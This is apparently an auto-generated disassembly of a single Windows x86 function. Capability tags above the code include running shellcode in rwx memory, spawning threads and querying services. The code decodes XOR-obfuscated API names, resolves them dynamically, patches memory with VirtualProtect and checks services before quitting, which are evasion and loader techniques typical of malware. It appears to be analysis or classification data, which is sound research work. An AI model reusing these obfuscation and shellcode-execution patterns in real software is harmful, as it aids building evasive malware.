Function at 0x591a00
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Query service status
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x6c2da0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x34], 0
mov ecx, 0xe1
xor edx, edx
mov al, byte [edx + 0x68c3a0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xcc], al
and ecx, 0x800000ff
jns 0x591a41
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x18
jl 0x591a21
push ebx
push esi
mov eax, 0x68c3bc
mov byte [ebp - 0xb4], 0
push edi
sub eax, 0x4680168
lea ecx, [ebp - 0x90]
push eax
call fcn.00594760
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xcc]
push ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0
push 4
lea ecx, [ebp - 0x34]
mov word [ebp - 0x88], 0
push ecx
xorps xmm0, xmm0
mov byte [ebp - 0xb4], 0
push 9
push 0xfffffffffffffffe
movq qword [ebp - 0x90], xmm0
movdqu xmmword [ebp - 0xcc], xmm0
movq qword [ebp - 0xbc], xmm0
call eax
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x44], edi
cmp edi, 0x40000
je 0x5921c4
jmp 0x591b31
mov ecx, 0x8e
xor edx, edx
jmp 0x591b40
mov al, byte [edx + 0x68c3f0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x6c], al
and ecx, 0x800000ff
jns 0x591b5d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x16
jl 0x591b40
mov eax, 0x68c408
mov byte [ebp - 0x56], 0
sub eax, 0x1c1a80b4
lea ecx, [ebp - 0x78]
push eax
call fcn.005947e0
lea ecx, [ebp - 0x6c]
push ecx
push eax
call ebx
push eax
call esi
xorps xmm0, xmm0
mov word [ebp - 0x70], 0
movq qword [ebp - 0x78], xmm0
movdqu xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
mov word [ebp - 0x58], 0
mov byte [ebp - 0x56], 0
jmp 0x591c0e
push 0
push 0
push 0x11
push 0xfffffffffffffffe
call eax
jmp 0x591c7e
push 0x30
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.005bf5d0
mov ebx, dword [ebp - 0xfc]
add esp, 0xc
test ebx, ebx
jne 0x591caf
mov eax, dword fs:[0x18]
mov edi, dword [ebp - 0x34]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
jmp 0x591cb5
mov eax, dword [ebp - 0x10c]
movdqu xmm1, xmmword [eax + 8]
movdqu xmm0, xmmword [eax - 8]
psrldq xmm1, 8
movdqu xmmword [ebp - 0x114], xmm0
movdqu xmm0, xmmword [eax + 0x18]
mov eax, dword [eax + 0x28]
movd ebx, xmm1
movdqu xmmword [ebp - 0xf4], xmm0
mov dword [ebp - 0xe4], eax
test ebx, ebx
je 0x591d3e
mov ecx, dword [ebx + 0x3c]
xor esi, esi
movzx eax, word [ecx + ebx + 6]
movzx edx, word [ecx + ebx + 0x14]
mov dword [ebp - 0x38], eax
test eax, eax
je 0x591c97
lea eax, [ecx + 0x24]
mov ecx, dword [ebp - 0x38]
add eax, ebx
add eax, edx
lea ebx, [ebx]
test dword [eax + 0x18], 0x20000000
je 0x591d31
mov edx, dword [eax]
add edx, ebx
cmp edx, edi
ja 0x591d31
mov ecx, dword [eax - 4]
add ecx, edx
cmp edi, ecx
jb 0x5921b8
mov ecx, dword [ebp - 0x38]
inc esi
add eax, 0x28
cmp esi, ecx
jb 0x591d10
jmp 0x591c97
jmp 0x591da4
jmp 0x591e0a
jmp 0x591e70
jmp 0x591ed6
mov ecx, 0x99
xor edx, edx
lea ecx, [ecx]
mov al, byte [edx + 0x68c3d0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xe0], al
and ecx, 0x800000ff
jns 0x591f00
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x10
jl 0x591ee0
lea eax, [ebp - 0xe0]
mov byte [ebp - 0xd0], 0
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
test eax, eax
jne 0x5921b8
jmp 0x591f8f
jmp 0x591ff5
jmp 0x59205b
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
test eax, eax
je 0x592152
jmp 0x5920da
mov eax, dword [ebp - 0x44]
mov byte [eax], 0xc3
jmp 0x592146
lea ecx, [ebp - 8]
push ecx
push dword [ebp - 8]
push 4
push eax
call esi
jmp 0x5921b8
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [0x87a1ac]
lea edx, [ebp - 0x37]
push dword [0x87a1a8]
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x38]
lea eax, [ebp - 0x35]
push eax
lea eax, [ebp - 0x36]
push eax
call fcn.00589db0
add esp, 0xc
cmp byte [ebp - 0x38], 0
jne 0x592332
jmp 0x592258
mov ecx, 0x36
xor edx, edx
nop
mov al, byte [edx + str.dCTx_jX_K_3]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xb0], al
and ecx, 0x800000ff
jns 0x592280
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x1e
jl 0x592260
mov eax, 0x68c520
mov byte [ebp - 0x92], 0
sub eax, 0x660068cd
lea ecx, [ebp - 0x84]
push eax
call fcn.00594bc0
lea ecx, [ebp - 0xb0]
push ecx
push eax
call ebx
push eax
call esi
xorps xmm0, xmm0
mov word [ebp - 0x7c], 0
push 0x591610
push 1
movq qword [ebp - 0x84], xmm0
movdqu xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0x98], 0
movq qword [ebp - 0xa0], xmm0
mov word [ebp - 0x94], 0
mov byte [ebp - 0x92], 0
call eax
push 0
push 0
push 0
push 0x58efa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push dword [0x87a1a8]
mov edx, 0x87a1ad
mov byte [0x87a1ac], 1
push 0x87a1af
push 0x87a1ae
mov ecx, 0x87a1ac
call fcn.0058a0e0
add esp, 0xc
jmp 0x592398
call 0x58ef20
jmp 0x592403
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x5924dc
mov edx, 0xbd
xor esi, esi
mov cl, byte [esi + 0x68c320]
xor cl, dl
inc edx
mov byte [ebp + esi - 0x54], cl
and edx, 0x800000ff
jns 0x592440
dec edx
or edx, 0xffffff00
inc edx
inc esi
cmp esi, 0xd
jl 0x592423
mov esi, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea eax, [ebp - 0x54]
push 0xf003f
push eax
push edi
mov byte [ebp - 0x47], 0
call esi
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
movq qword [ebp - 0x54], xmm0
mov word [ebp - 0x48], 0
test eax, eax
je 0x5924dc
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
lea ecx, [ebp - 0xc]
push ecx
push 0x24
lea ecx, [ebp - 0x30]
mov dword [ebp - 0xc], 0
push ecx
push 0
push eax
call ebx
test eax, eax
je 0x5924dc
cmp dword [ebp - 0x2c], 4
je 0x5924fb
push 0xf003f
push 0x5a5e2027
lea ecx, [ebp - 0x40]
call fcn.00594530
push eax
push edi
call esi
mov esi, eax
xor eax, eax
mov dword [ebp - 0x40], eax
mov word [ebp - 0x3c], ax
mov byte [ebp - 0x3a], al
test esi, esi
je 0x5924dc
lea eax, [ebp - 0xc]
push eax
push 0x24
lea eax, [ebp - 0x30]
push eax
push 0
push esi
call ebx
test eax, eax
je 0x5924dc
cmp dword [ebp - 0x2c], 4
je 0x5924ef
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005bb4c3
mov esp, ebp
pop ebp
ret 0xc
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call fcn.005c3f70
int3